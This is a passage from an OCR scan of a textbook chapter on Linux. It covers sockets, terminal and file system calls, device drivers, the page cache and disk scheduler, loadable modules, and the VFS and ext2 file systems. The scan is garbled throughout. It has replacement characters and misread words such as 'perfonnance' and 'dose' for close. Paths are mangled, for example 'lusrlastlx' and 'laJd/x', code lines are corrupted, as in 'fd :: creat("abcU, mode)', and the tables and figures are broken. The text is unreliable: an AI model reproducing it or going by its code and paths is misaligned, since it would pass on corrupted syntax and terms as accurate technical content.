3. Unreliable packet transmission. 

CHAP. 10 

The first socket type allows twO processes on different machines to establish the 

equivalent of a pipe between them. Bytes are pumped in at one end and they come 

out in the same order at the other. The system guarantees that all bytes that are 

sent arrive and in the same order they were sent. 
The second type is similar to the first one, except that it preserves packet 

boundaries. If the sender makes five separate calls to write, each for 512 bytes, 

and the receiver asks for 2560 bytes, with a type 1 socket all 2560 bytes will be 

returned at once. With a type 2 socket, only 512 bytes will be returned. Four 

more calls are needed to get the rest. The third type of
 socket is used to give the 

user access to the raw network. This type is especially useful for real-time appli

cations, and for those situations in which the user wants to implement a spe

cialized error-handling scheme. Packets may be lost or reordered by the network. 

There are no guarantees, as in the first two cases. The advantage of this mode is 

higher perfonnance, which sometimes outweighs reliability (e.g., for multimedia 

delivery, in which being fast counts for more than being right). 

When a socket is created, one of the parameters specifies the protocol to be 

used for it. For reliable byte streams, the most popular protocol is TCP 

(Transmission Control Protocol). For unreliable packet-oriented transmissjon, 

UDP (User Datagram Protocol) is the usual choice. Both are these are layered 

on top of IP (Internet Protocol). All of these protocols originated with the U.S. 

Dept. of Defense's ARPANET, and now fonn the basis of the Internet. There is 

nO common protocol for reliable packet streams. 
Before a socket can be used for networking, it must have an address bound to 

it. This address can be in one of several naming domains. The most common do

main is the Internet naming domain, which uses 32-bit integers for naming end

points in Version 4 and 128-bit integers in Version 6 (Version 5 was an experi

mental system that never made it to the major leagues). 

Once sockets have been created on both the source and 
destination computers, 

a connection can be established between them (for connection-oriented communi

cation). One party makes a listen system call on a local socket, which creates a 

buffer and blocks until data arrive. The other makes a connect system call, giving 

as parameters the file descriptor for a local socket and the add
ress of a remote 

socket. If the remote party accepts the call, the system then establishes a connec-

tion between the sockets. 
Once a connection has been established, it functions analogo

usly to a pipe. A 

process can read and write from it using the file descriptor for its local socket. 

When the connection is no longer needed, it can be closed 
in the usual way, via 

the dose system call. 
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10.5.3 Input/Output System Calls in Linux 
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Function call I Description 

s cfsetospeed(&termios, speed) I Set the output speed 

s _ cfsetispeed(&termios, speed) I Set the input speed 

s - cfgetospeed(&termios, speed) I Get the output speed 

s cfgtetispeed(&termios, speed) Get the input speed 

s tcsetattr(fd, opt, &termios) Set the attributes 

s tcgetattr(fd, &termios) Get the attributes 

Figure 10-20. The main POSIX cans for managing the tenninaL 

h 
The last two calls in the list are for setting and reading back all the special 

c aracters used for erasing characters and lines interru ti �� ����t:��s�
h
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. a1' . . 
unctlOn ca Is also eXIst, but they are somewhat s e-

CI lzed, so we WIll not dISCUSS them further. In addition, ioctl is still available. 
p 

10.5.4 Implementation of Input/Output in Linux 

t e
I
l��n 7inu� is implemen�ed by a collection of device drivers, one per device 

. �� . e .unctIon of the dnvers is to isolate the rest of the system from the 
I IOsyncracles of the hardware. By providing standard interfaces between the 
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drivers and the rest of the operating system, most of the I/O system can be put into 
the machine-independent part of the kernel. 

When the user accesses a special file, the file system determines the major 
and minor device numbers belonging to it and whether it is a block special file or 
a character special file. The major device number is used to index into one of two 
internal hash tables containing data structures for character or block devices. The 
structure thus located contains pOinters to the procedures to call to open the de
vice, read the device, write the device, and so on. The minor device number is 
passed as a parameter. Adding a new device type to Linux means adding a new 
entry to one of these tables and supplying the corresponding procedures to handle 
the various operations on the device. 

Some of the operations which may be associated with different character de
vices are shown in Fig. 10-21. Each row refers to a single I/O device (i.e., a sin
gle driver). The columns represent the functions that all character drivers must 
support. Several other functions also exist. When an operation is performed �n a 
character special file, the system indexes into the hash table of character deVIces 
to select the proper structure, then calls the corresponding function to have �e 
work performed. Thus each of the file operations contains a painter. to a functIon 
contained in the corresponding driver. 

Device Open Close Read Write toct! Other 

Nul! nul! nul! ·nul! null null 

Memory nul! null mem�read mem_write nul! 

Keyboard k open k....close k read error k ioctl 

Tty tty open tty close tty�read tty_write tty iocl! ... 

Printer Ip_open lp dose error lp write Ip ioctl 

Figure 10·21. Some of the file operations supported for typical character devices. 

Each driver is split into two parts, both of which are part of the Linux kernel 
and both of which run in kernel mode. The top half runs in the context of the call
er and interfaces to the rest of Linux. The bottom half runs in kernel context and 
interacts with the device. Drivers are allowed to make calls to kernel procedures 
for memory allocation, timer management, DMA control, and other things. The 
set of kernel functions that may be called is defined in a document caned the 
Driver�Kernel Interface. Writing device drivers for Linux is covered in detail in 
(Egan and Teixeira, 1992; Rubini et a!., 2005). 

The 1I0 system is split into two major components: the handling of block spe
cial files and the handling of character special files. We will now look at each of 
these components in turn. 

The goal of the part of the system that does I/O on block special files (e.g., 
disks) is to minimize the number of transfers that must be done. To accomplish 
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this goa�, Linux sy�ten:s have a cache between the disk drivers and the file sys
tem, as Illustrated 10 FIg. 10-22. Prior to the 2.2 kernel, Linux maintained com
pletely separate page and buffer caches, so a file residing in a disk block could be 
cached in both caches. Newer versions of Linux have a unified cache. A generic 
block laye: holds these components together, performs the necessary translations 
between diSk sectors,. blocks, buffers and pages of data, and enables the operations 
on them. 

The cache is a table in �he kernel for holding thousands of the mast recently 
used blocks. When a block IS needed from a disk for any purpose (i-node, direc
tory, or data), a check is first made to see if it is in the cache. If so, it is taken 
from there and a disk access is avoided, thereby resulting in great improvements 
in system performance. 

Rle system 1 

Virtual File System 

"'-� 0:::----,----
- -- - -: , 

, 
'-"-'T''--' : 

Network 
device 
driVer 

FS 2 

: 0 0-0: 
, , 
, , 

�-----.! 

Figure 10·22. The Linux IJO System showing One file system in detail. 

If the block is not in the page cache, it is read from the disk into the cache and 
from there copied to where it is needed. Since the page cache has room for only a 
fixed number of blocks, the page replacement algorithm described in the previous 
section is invoked. 

The �age cache works for writes as well as for reads. When a program writes 
a block, It goes to the cache, not to the disk. The pdjlush daemon will flush the 
blo�k to d.isk in the event the cache grows above a specified· value. In addition, to 
aVOId havmg blocks stay too long in the cache before being written to the disk, all 
the dirty blocks are written to the disk every 30 seconds. 

In order to minimize the latency of repetitive disk head movements, Linux 
relies on an 110 scheduler. The purpose of the lIO scheduler is to reorder Or 
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bundle read/write requests to block devices. There are many scheduler variants, 
optimized for different types of workloads. The basic Linux scheduler is based on 
the original Linus Elevator scheduler. The operations of the elevator scheduler 
can be summarized as follows: Disk operations are sorted in a doubly linked list, 
ordered by the address of the sector of the disk request New requests are inserted 
in this list in a sorted manner. This prevents repeated costly disk head movements. 
The request list is than merged so that adjacent operations are issued via a single 
disk request. The basic elevator scheduler can lead to starvation. Therefore, the 
revised version of the Linux disk scheduler includes two additional lists, maintain
ing read or write operations ordered by their deadlines. The default deadlines are 
0.5 sec for read requests and 5 sec for write requests. If a system-defined dead
line for the oldest write operation is about to expire, that write request will be ser
viced before any of the requests on the main doubly linked list. 

In addition to regular disk files, there are also block special files, also called 
raw block files. These files allow programs to access the disk using absolute 
block numbers, without regard to the file system. They are most often used for 
things like paging and system maintenance. 

The interaction with character devices is simple. Since character devices pro
duce or consume streams of characters, or bytes of data, support for random ac
cess makes little sense. One exception is the lise of line disciplines. A line dis
cipline can be associated with a terminal device, represented via the structure 
ttyJtruct, and it represents an interpreter for the data exchanged with the terminal 
device. For instance, local line editing can be done (i.e., erased characters. and 
lines can be removed), carriage returns can be mapped onto line feeds, and other 
special processing can be completed. However, if a process wants to interact on 
every character, it can put the line in raw mode, in which case the line discipline 
will be bypassed. Not all devices have line disciplines. 

Output works in a similar way, expanding tabs to spaces, converting line feeds 
to carriage returns + line feeds, adding filler characters following carriage returns 
on slow mechanical terminals, and so on. Like input, output can go through the 
line discipline (cooked mode) or bypass it (raw mode). Raw mode is especially 
useful when sending binary data to other computers over a serial line and for 
GUIs. Here, no conversions are desired. 

The interaction with network devices is somewhat different. While network 
devices also produce/consume streams of characters, their asynchronous nature 
makes them less suitable for easy integration under the same interface as other 
character devices. The networking device driver produces packets consisting of 
multiple bytes of data, along with network headers. These packets are then routed 
through a series of network protocol drivers, and ultimately are passed to the user 
space application. A key data structure is the socket buffer structure, skbuff, which 
is used to represent portions of memory filled with packet data. The data in an 
skbuff buffer does not always start at the start of the buffer. As they are being 
processed by various protocols in the netwjtking stack, protocol headers may be 
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remove�, 0: ad�ed. The user processes interact with networking devices via sock
ets, WhICh m Lmux s�ppOrt the original BSD socket API. The protocol drivers 
can be bypassed and dIrect access to the underlying network device is enabled via 
raw....sockets. Only superusers are allowed to Create raw sockets. 

10.5.5 Modules in Linux 

For decades, UNIX device drivers have been statically linked into the kernel so t?ey were 
.
all present in memory whenever the system was booted. Given the envIro�ment m which yNIX ?rew up, mostly departmental minicomputers and th�n hlgh�end workstatIOns, w�th their small and unChanging sets of I/O devices, th�s scheme worked w�ll. Bas1cally, a computer center built a kernel containing d:1Ve�s fo: the I/O deVIces and. that was it. If next year the center bought a new dISk, 1t relmked the kerneL No big deal. 

With the arriv�l of Lin�x on the PC platform, suddenly all that Changed. The numb�r ?f I/O deVIces ava�l�ble on the PC is orders of magnitude larger than on any mInICOmputer. In addItIon, although all Linux users have (or can easily get) the �ull sou:ce code, P!obably the vast majority would have considerable difficulty addmg a drIver, updatmg all the device-driver related data Structures relinkino the kernel, and then installing it as the bootable system (not to mentio� dealino 
'::>
with the af�ermath of building a kernel that does not boot). 

.::> 

Lmux solved this problem with the concept of loadable modules. These are chunks of code that can be loaded into the kernel while the system is running. Mo.st commonly these are character or block device drivers, but they can also be entlre fi�e systems, network protocols, performance monitorin<7 tools, or anything else deSIred. .::> 

When a module is loaded, several things have to happen. First, the module has 
�o be relocated On the fly, during loading. Second, the system has to check to see If the reSOurces th: driver ne�ds are available (e.g., interrupt request levels) and if so, mark them as m use. ThIrd, any interrupt vectors that are needed must be set up. Fo�rth, th� appropria:e driver switch table has to be updated to handle the n�w maJ�r d�v�c� �yp�. Fl�ally, the driver is allowed to run to perfonn any devl�e-sp.eclfic l�ltJahzatIOn It may need. Once all these steps are completed, the drIver IS fully mstalled, the same as any statically installed driver. Other modem UNIX systems now also support loadable modules. 

10.6 THE LINUX FILE SYSTEM 

The most visible part of any operating system, including Linux, is the file sys
tem. In the following sections we will examine the basic ideas behind the Linux 
file system, the system calls, and how the file system is implemented. Some of 



776 CASE STUDY 1 :  LINUX CHAP. 10 

these ideas derive from MUL TICS, and many of them have been copied by MS
DOS, Windows, and other systems, but others are u�ique to l!NIX-based syst�m�. 
The Linux design is especially interesting because It clearly lIlu�tr�tes the pnncl
pIe of Small is Beautiful. With minimal mechanism and a very lImtted number of 
system calls, Linux nevertheless provides a powerful and elegant file system. 

10.6.1 Fundamental Concepts 

The initial Linux file system was the MINIX 1 file system. Howeve�, due
. 
to 

the fact that it limited file names to 14 characters (in order to be compatIble wIth 
UNIX Version 7) and its maximum file size was 64 MB (which was overkill on 
the lO-MB hard disks of its era), there was interest in better file systems almost 
from the beginning of the Linux development, which bega� about 5 year� after 
MINIX 1 was released. The first improvement was the ext flie system, WhICh al
lowed file names of 255 characters and files of 2 GB, but it was slower than the 
MINIX 1 file system, so the search continued for a while. Eventually, the ext2 file 
system was invented, with long file names, long �les, and better perfonnance, and 
it has become the main file system. However, Lmux supports several doze� file 
systems using the Virtual File System (VFS) layer (described in the next sect1o�). 
When Linux is linked, a choice is offered of which file systems should b� bUl�t 
into the kernel. Others can be dynamically loaded as modules during execution, If 
need be. 

. 
A Linux file is a sequence of 0 or more bytes containing arbitrary infoD?atlOn. 

No distinction is made between ASCII files, binary files, or any other kinds of 
files. The meaning of the bits in a file is entirely up to the file's owner. The sys
tem does not care. File names are limited to 255 characters, and all the ASCII 
characters except NUL are allowed in file names, so a ?le name c�nsisting of 
three carriage returns is a legal file name (but not an especIally �onvement one). 

By convention, many programs expect file names to conSIst of a base na�e 
and an extension, separated by a dot (which counts as a character). Thus prog.C IS 
typically a C program, prog.j90 is typically a FORTRAN ?O program, and prog.o 
is usually an object file (compiler output). These conventIOns are not enforced by 
the operating system but some compilers and other programs expect t�em. Exte�
sions may be of any length, and files may have multiple extenSIons, as III 
prog.java.gz, which is probably a gzip compressed Java prog:am. 

. . Files can be grouped together in directories for convemence. Directones are 
stored as files and to a large extent can be treated like files, Directorie� can co�
tain subdirectories, leading to a hierarchical file system. The root directory IS 
called I and usually contains several subdirectories. The I character is also used �o 
separate directory names, so that the name lusrlastlx denotes the file x l?cat�d III 
the directory ast, which itself is in the Iusr directory. Some of the major dIrec
tories near the top of the tree are shown in Fig. 10-23. 
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Directory Contents 
bin Binary (executable) programs 
dev Special files for 1/0 devices 
etc Miscellaneous system files 
Hb Libraries 

usr User directories 

Figure 10·23. Some important directories found in most Linux systems. 

There are two ways to specify file names in Linux, both to the shell and when 
opening a file from within a program. The first way is using an absolute path, 
which means telling how to get to the file starting at the root directory. An ex· 
ample of an absolute path is lusrlastlbookslmos3Ichap-IO. This tells the system to 
look in the root directory for a directory called usr, then look there for another di
rectory, ast. In tum, this directory contains a directory books, which contains the 
directory mos3, which contains the file chap-IO. 

Absolute path names are often long and inconvenient. For this reason, Linux 
allows users and processes to designate the directory in which they are currently 
working as the working directory. Path names can also be specified relative to 
the wO:king directory. A path name specified relative to the working directory is 
a relative path. For example, if lusrlast/bookslmos3 is the working directory, 
then the shell command 

cp chap·l 0  backup-l0 

has exactly the same effect as the longer command 

cp lusr/astfbooks/mos3/chap·10 lusr/astfbooks/mos3/backup-10 

It frequently occurs that a user needs to refer to a file that belongs to another 
user, or at least is located elsewhere in the file tree. For example, if two users are 
sharing a file, it will be located in a directory belonging to one of them, so the 
other will have to use an absolute path name to refer to it (or change the working 
directory). If this is long enough, it may become irritating to have to keep typing 
it. Linux provides a solution to this problem by allowing users to make a new di
rectory entry that pOints to an existing file. Such an entry is called a link. 

As an example, consider the situation of Fig. 1O-24(a). Fred and Lisa are 
working together on a project, and each of them needs access to the other's files. 
If Fred has lusrlfred as his working directory, he can refer to "the file x in Lisa's 
directory as lusrllisalx. Alternatively, Fred can create a new entry in his direc
tory, as shown in Fig. 1 0-24(b), after which he can use x to mean lusrllisa/x. 

In the example just discussed, we suggested that before linking, the only way 
for Fred to refer to Lisa's file x was by using its absolute path. Actually, this is not 
really true. When a directory is created, two entries, . and .. , are automatically 
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bin bin 
dev de, 
eto eto 
lib lib 
Imp tmp 
"S< "S< 

fred lisa fred lisa 

QJ D vD 
(a) (b) 

Figure 10-24. (a) Before linking. (b) After linking. 

made in it. The former refers to the working directory itself. The latter refers to 

the directory's parent, that is, the directory in which it itself is listed. Thus from 

ItlsrJfred another path to Lisa's file x is .. !lisa/x. 

In addition to regular files, Unux also supports character special files and 

block special files. Character special files are 'used to model serial lIO devices,
. 

such as keyboards and printers. Opening and reading fro� /dev/tty reads �ron:t the 

keyboard; opening and writing to /dev/lp writes to the pnnt�r. Block 
.
specral

.
�les, 

often with names like /devlhdJ, can be used to read and wnte raw diSk partItlons 

without reoard to the file system. Thus a seek to byte k followed by a read will 

beoin readino from the k�th byte on the corresponding partition, comp1etely ignor

in: the i-nod� and file structure. Raw block devices are used for paging and swap

pi�g by programs that lay down file systems (e.g., mlifs), and by programs that fix 

sick file systems (e.g.,fsck), for example. 

Many computers have two or more disks. On mainframes at banks, for ex

ample, it is frequently necessary to have 100 or more disks on a single machine, in 

order to hold the huge databases required. Even personal computers normally have 

at least twO disks-a hard disk and an optical (e.g., DVD) drive. When there are 

multiple disk drives, the question arises of how to handle them. 
. 

One solution is to put a self-contained file system on each one and Just keep 

them separate. Consider, for example, the situation depicted in Fig. 1O-25(a). 

Here we have a hard disk, which we will call C:, and a DVD, which we will call 

D:. Each has its own root directory and files. With this solution, the user has to 

specify both the device and the file when anything other than the default is need

ed. For example, to copy the file x to the directory d (assuming C: is the default), 

one would type 

cp O:/x laJd/x 
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This is the approach taken by a number of systems, includino MS-DOS Windows 
98, and VMS. 

0 , 

Hard disk DVD Hard disk 

~ 

Figure 10-25. (a) Separate file systems. (b) After mounting. 

The Linux solution is to allow one disk to be mounted in another disk's file 
tree. In our exa�ple, we could mount the DVD on the directory Ib, yielding the 
file system of FIg. 1O-25(b). The user now sees a single file tree, and no longer 
has to be aware of which file resides on which device. The above copy �ommand 
now becomes 

cp Ib/x laJdlx 

exactly the same as it would have been if everything had been on the hard disk in 
the first place. 

. 
A

.
nother interesting property of the Linux file system is locking. In some ap

ph<:anons, two or more processes may be using the same file at the same time, 
w�lch �ay lea� to race conditi?ns. One solution is to program the application 
wIth cntlcal regIons. However, �f the processes belong to independent users who 
do not ev�n know each other, this kind of coordination is generally inconvenient. 

C?nsider, for example, a database consisting of many files in one or more di
rectones that a�e accesse� by unrelated users. It is certainly possible to associate 
a semaphore wIth each dIf�ctOry or file and achieve mutual exclusion by having 
processes d� a down operatIon on the appropriate semaphore before accessing the 
?ata. Th� dIsadvantage, ho�ever, is that a whole directory or file is then made 
maccessible, even though only one record may be needed. 

For this reason, POSIX provides a flexible and fine-grained mechanism for 
p:�cesses to lock as little as a single byte and as much as an entire file in one indi
VIsIble operation. T�e locking mechanism requires the caller to specify the file to 
be locked, the startmg byte, and the number of bytes. If the operation succeeds, 
the system makes a table entry noting that the bytes in question (e.g., a database 
record) are locked. 
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Two kinds of locks are provided, shared locks and exclusive locks. If a por

tion of a file already contains a shared lock, a second attempt to
. 
pla�e a .shared 

lock on it is pennitted, but an attempt to put an exclusive lock on It WIll fatI. If a 

portion of a file contains an exclusive lock, all attempts to lock any part of that 

portion will fail until the lock has been released. In o�der to successfully place a 

lock every byte in the region to be locked must be aVaIlable. 

%en placing a lock, a process must speci�y whether it wants to block or �ot 

in the event that the lock cannot be placed . .If It  chooses to block, when the eXlst

ina lock has been removed, the process is unblocked and the lock is placed. If the 

pr�cess chooses not to block when it cannot place a lock, the system call retliI11:s 

immediately, with the status code telling whether the lock succeeded
. 
or not. If It 

did not, the caller has to decide what to do next (e.g., wait and try agam). 

Locked regions may overlap. In Fig. 10-26(a) we see that process A has 

placed a shared lock on bytes 4 through 7 of some file. Later, process B places a 

shared lock on bytes 6 through 9, as shown in Fig. 1O-26(b). Finally: C locks 

bytes 2 through 1 1. As long as all these locks are shared, they can co-eXISt. 

Process A's 
shared 

lock 

(a) 1 0 \ 1 2 \ 3 �:IIlj. 8 \ 9 \ 10 \ 11 \ 12 \ 13 \ 14 \ 15 \ 

A's shared lock 

(b) \ 0 \ 1  \ 2 \ 3 a_a 10 \ 1 1 \ 12 \ 13 \ 14 \ 15 \ 

< 
B's shared lock 

(0) 
GE��iiii��12EEG 

C's shared lock 

Figure 10.26. (a) A file with one lock. (b) Addition of a second lock. (c) A 

third lock. 

Now consider what happens if a process tries to acquire an exclusive lock to 
byte 9 of the file of Fig. 10-26( c), with a request to block if the lock fails. Since 
two previous locks cover this block, the caller WIll block and wIll remam blocked 
until both B and C release their locks. 
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10.6.2 File System Calls in Linux 

Many system calls relate to files and the file system. First we will look at the 
system calls that operate on individual files. Later we will examine those that 
involve directories or the file system as a whole. To create a new file, the creat 
call can be used. (When Ken Thompson was once asked what he would do dif
ferently if he had the chance to reinvent UNIX, he replied that he would spell creat 
as create this time.) The parameters provide the name of the file and the protec
tion mode. Thus 

fd :: creat("abcU, mode); 

creates a file called abc with the protection bits taken from mode. These bits 
determine which users may access the file and how. They will be described later. 

The creat call not only creates a new file, but also opens it for writing. To 
allow subsequent system cans to access the file, a successful creat returns as its 
result a small nonnegative integer called a file descriptor, fd in the example 
above. If a creat is done on an existing file, that file is truncated to length 0 and 
its contents are discarded. Files can also be created using the open call with 
appropriate arguments. 

Now let us continue lOOking at the principal file system calls, which are listed 
in Fig. 10-27. To read or write an existing file, the file must first be opened using 
open. This call specifies the file name to be opened and how it is to be opened: 
for reading, writing, or both. Various options can be specified as well. Like creat, 
the call to open returns a file descriptor that can be used for reading or writing. 
Afterward, the file can be closed by close, which makes the file descriptor avail
able for reuse on a subsequent creat or open. Both the creat and open calls al
ways return the lowest-numbered file descriptor not currently in use. 

When a program starts executing in the standard way, file descriptors 0, 1 ,  
and 2 are already opened for standard input, standard output, and standard error, 
respectively. In this way, a filter, such as the sort program, can just read its input 
from file descriptor 0 and write its output to file descriptor 1, without having to 
know what files they are. This mechanism works because the shell arranges for 
these values to refer to the correct (redirected) files before the program is started. 

The most heavily used calls are undoubtedly read and write. Each one has 
three parameters: a file descriptor (telling which open file to read or write), a buff
er address (telling where to put the data or get the data from), and a count (telling 
how many bytes to transfer). That is all there is. It is a very simpJe design. A 
typical call is 

n � read(fd, buffer, nbytes); 

Although nearly all programs read and write files sequentially, some pro
grams need to be able to access any part of a file at random. Associated with each 
file is a pointer that indicates the current position in the file. When reading (or 
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System call Description 

fd creat(name, mode) One way to create a new file 

fd open(fUe, how, ... ) Open a file for reading, writing, or both 

5 - close{fd) 
Close an open file 

n read(fd, buffer, nbytes) Read data from a fi!e into a buffer 

n write(fd, buffer, nbytes) Write data from a buffer into a file 

position '" Iseek(fd, offset, whence) Move the file pointer 

s "" stat(name, &buf) Get a file's status information 

5 :::: fstat(fd, &buf) Get a file's status information 

s = pipe(&fd[OJ) 
Create a pipe 

s fcnt!(fd, cmd, . .J File locking and other operations 

Figure 10-27. Some system calls r�lating to fi!e�.?h� return code s is -I if an 

error has occurred; fd is a file descnptor, and posmon IS a file offset. The paraffi* 

eters should be self explanatory. 

writing) sequentially, it normally points to the next byte �o b� read (wr�tten). If 

the pointer is at, say, 4096, before 1024 bytes are read, It Wlll automattcally be 

moved to 5120 after a successful read system call. The Iseek call changes the 

value of the position pointer, so that subsequent calls to read or write ca� begin 

anywhere in the file, or even beyond the end of it. It is called Iseek to avoId con

flicting with seek, a now-obsolete call that was formerly used on 16-bit computers 

for seeking. . 
Lseek has three parameters: the first is the file descnptor for the file; the sec-

ond is a file position; the third tells whether the file position is relative to the 

beginning of the file, the current position, or the end of the fil�. Th� value re

turned by !seek is the absolute position in the file after the file pomter IS changed. 

Slightly ironically, lseek is the only file system call that c�� never �au�e an actual 

disk seek because all it does is update the current file posmon, WhICh IS a number 

in memory. ' . 

For each file, Linux keeps track of the file mode (regular, dIrectory, specIal 

file), size, time of last modification, and other information. Pro�ms can ask to 

see this information via the stat system calL The first parameter IS the file name. 

The second is a pointer to a structure where the information requested is to be put 

The fields in the structure are shown in Fig. 10-28. The fstat call is the same as 

stat except that it operates on an open file (whose name may not be known) rather 

than on a path name. . ' . 
The pipe system call is used to create shell pipeimes. It creates a kind of 

pseudofile, which buffers the data between the pipeline components, and returns 

file descriptors for both reading and writing the buffer. In a pipeline such as 

sort <in 1 head -30 
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Device the file is on 

I-node number (which file on the device) 

FlIe mode (includes protection information) 

Number of links to the file 

Identity of the file's owner 

Group the file belongs to 

File size (in bytes) 

Creation time 

Time of last access 

Time of last modification 

Figure 10-28. The fields returned by the stat system cal!. 

file descrip�or 1 (stan�ard output) in the process running sort would be set (by the 
s�ell) to wnte to the pIpe, and file descriptor 0 (standard input) in the process run
mng �ead would be set to read from the pipe. In this way, sort just reads from file 
descnpt�r ° (set to the file in) and writes to file descriptor I (the pipe) without 
even bemg aware that these have been redirected. If they have not been 
redirected, sort will automatically read from the keyboard and write to the screen 
�the default devices). Similarly, when head reads from file descriptor 0, it is read
mg the ,da:a sort put into the pipe buffer without even knowing that a pipe is in 
�se. ThIS IS � clear example of how a simple concept (redirection) with a simple 
Implemen�atlOn Yile descriptors 0 and 1)  can lead to a powerful tool (connecting 
programs m arbItrary wa�s w!thout having to modify them at an). 

The last system call 10 Fig. 10-27 is fent!. It is used to lock and unlock files 
apply shared or exclusive locks, and perfonn a few other file-specific operations. 

' 

Now let us look at some system cans that relate more to directories or the file 
s�sterr: as ,a whole, rather than Just to one specific file, Some common ones are 
ltsted 1� FIg. IO-�9. Directories are created and destroyed using mkdir and rmdir, 
respectIvely, A ?Ire�tory can only be removed if it is empty. 

, As we saw ,m. FIg. JO-24, linking to a file creates a new directory entry that 
p01n�s to an �x:stmg fIle. The link system call creates the link. The parameters 
s�eclfy �he ongmaJ and new names, respectively. Directory entries are removed 
With unlink. When the last link to a. file is removed, the file is automatically de
leted. For a fiI,e tha: has nev�r been Imked, the first unlink causes it to disappear. 

The workl�g dIrectory IS changed by the chdir system. calL Doin(7 so has the 
effect of changmg the interpretation of relative path names. · � 

The last four calls of Fig. 10-29 are for reading directories. They can be open
ed, closed, and read, analogous to ordinary files. Each call to readdir returns ex
a�tly one �irectory entry in a fixed format There is no way for users to write in a 
directory (m order to maintain the integrity of the file system). Files can be added 
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System call Description 

s "" mkdir(path, mode) Create a new directory 

s _ rmdir(path) Remove a directory 

s link(o!dpath, newpath) Create a !ink to an existing file 

5 - un!lnk(path) Unlink a file 

s chdir{path) Change the working directory 

dir _ opendir(palh) Open a directory for reading 

s c!osedir(dir) Close a directory 

dirent =- readdir(dir} Read one directory entry 

rewinddir(dir) Rewind a directory so it can be reread 

Figure 10-29. Some system calls relating to directories. The ret�m c�de s i.s -I 
if an error has occurred; dir identifies a directory stream, and dlrem IS a direc
tory entry. The parameters should be self explanatory. 

to a directory using creat or link and removed using unlink. There is al�o no way 
to seek to a specific file in a directory, but rewinddir allows an open dIrectory to 
be read again from the beginning. 

10.6.3 Implementation of the Linux File System 

In this section we will first look at the abstractions supported by the Virtual 
File System layer. The VFS hides from higher-level processes and applications 
the differences among many types of file systems supported by Linux, whether 
they are residing on local devices or are stored remotely and need to be accessed 
over the network. Devices and other special files are also accessed through the 
VFS layer. Next, we will describe the implementation of the first widespread 
Linux file system, ext2, or the second extended file system. Afterward, we will 
discuss the improvements in the ext3 file system. A wide variety of other file sys
tems are also in use. All Linux systems can handle multiple disk partitions, each 
with a different file system on it. 

The Linux Virtual File System 

In order to enable applications to interact with different file systems, imple
mented on different types of local or remote devices, Linux adopts an approach 
used in other UNIX systems: the Virtual File System (VFS). VFS defines a set of 
basic file system abstractions and the operations which are allowed on these 
abstractions. Invocations of the system calls described in the previous section ac
cess the VFS data structures, determine the exact file system where the accessed 
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file belongs, and via function pointers stored in the VFS data structures invoke the 
corresponding operation in the specified file system. 

Fig. 10-30 summarizes the four main file system structures supported by VFS. 
The superblock contains critical information about the layout of the file system. 
Destruction of the superblock will render the file system unreadable. The i-nodes 
(short for index-nodes, but never called that, although some lazy people drop the 
hyphen and call them inodes) each describe exactly one file. Note that in Linux, 
directories and devices are also represented as files, thus they will have corres
ponding i-nodes. Both superblocks and i-nodes have a corresponding structure 
maintained on the physical disk where the file system resides. 

Object Description Operation 
Superblock specific fHesystem read inode, syncfs 
Dentry directory entry, single component of a path create, link 
I-node specific file cLcompare, d delete 
File open file associated with a process read, write 

Figure 10-30. File system abstractions supported by the VFS. 

In order to facilitate certain directory operations and traversals of paths, such 
as lusrlastibin, VFS supports a dentry data structure which represents a directory 
entry. This data structure is created by the file system on the fly. Directory entries 
are cached in a dentTY_cache. For instance, the dentry_cache would contain en
tries for I, lusr, lusr/ast, and the like. If multiple processes access the same file 
through the same hard link (i.e., same path), their file object will point to the same 
entry in this cache. 

Finally, the file data structure is an in-memory representation of an open file, 
and is created in response to the open system call. It supports operations such as 
read, write, sendfile, lock, and other system calls described in the previous section. 

The actual file systems implemented underneath VFS need not use the exact 
same abstractions and operations internally. They must, however, implement 
semantically equivalent file system operations as the ones specified with the VFS 
objects. The elements of the operations data structures for each of the four VFS 
objects are pointers to functions in the underlying file system. 

The Linux Ext2 File System 

We next describe the most popular on-disk file system used in Linux: ext2. 
The first Linux release used the MINIX file system, and was limited by short 
filenames and 64-MB file sizes. The MINIX file system was eventually replaced 
by the first extended file system, ext, which permitted both longer file names and 
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larger file sizes. Due to its performance inefficiencies, ext was replaced by its suc
cessor, ext2, which is still in widespread use. 

An ext2 Linux disk partition contains a file system with the layout illustrated 
in Fig. 10-31. Block 0 is not used by Linux and often contains code to boot the 
computer. Following block 0, the disk partition is divided into groups of blocks, 
without regard to where the disk cylinder boundaries fall. Each group is organized 
as fonows. 

The first block is the superblock. It contains infonnation about the layout of 
the file system, including the number of i-nodes, the number of disk blocks, and 
the start of the list of free disk blocks (typically a few hundred entries). Next 
comes the group descriptor, which contains information about the location of the 
bitmaps, the number of free blocks and iwnodes in the group, and the number of di
rectories in the group, This information is important since ext2 attempts to spread 
directories evenly over the disk. 

Data 
blocks 

Figure 10·31. Disk layout of the Linux extl file system, 

Two bitmaps keep track of the free blocks and free i-nodes, respectively, a 
choice inherited from the MINIX 1 file system (and in contrast to most UNIX file 
systems, which use a free list). Each map is one block long. With a l -KB block, 
this design limits a block group to 8192 blocks and 8192 i-nodes. The fanner is a 
real restriction but, in practice, the latter is not 

Following the superblock are the i-nodes themselves. They are numbered 
from 1 up to some maximum. Each i-node is 128 bytes long and describes exactly 
one file. An i-node contains accounting information (including all the information 
returned by stat, which simply takes it from the i-node), as well as enough infor
mation to locate all the disk blocks that hold the file's data. 

Following the i-nodes are the data blocks. All the files and directories are 
stored here. If a file or directory consists of more than One block, the blocks need 
not be contiguous On the disk. In fact, the blocks of a large file are likely to be 
spread all over the disk. 

I-nodes con-esponding to directories are dispersed throughout the disk block 
groups. Ext2 attempts to collocate ordinary files in the same block group as the 
parent directory, and data files in the same block as the original file i-node, pro
vided that there is sufficient space. This idea was taken from the Berkeley Fast 
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. 
(McKusick et a1., 1 984). The bitmaps are used to make quick deciSIons regardmg where to allocate new file system data. When new file blocks are allocated, ext2 also preallocates a number (eight) of additional blocks for that file so as to minimize the file fragmentation due to future write operations. Thi� schem� balances 

.
the file system load across the entire disk. It also performs weIl due to Its tendencIes for collocation and reduced fragmentation. 

. 
To acc�ss a file, it must first USe one of the Linux system calls, such as open, WhICh reqUIres the file's pathname. The pathname is parsed to extract individual direct?ries. If a relati:e �ath is specified, the lookup starts from the process' Current directory, otherWise It starts from the root directory. In either case the i-node for t�e first dir�ctory can easily be located: there is a pOinter to it in �he process descnptor, or, III the case of a root directory, it is typically stored in a predeter-

mined block On disk . 
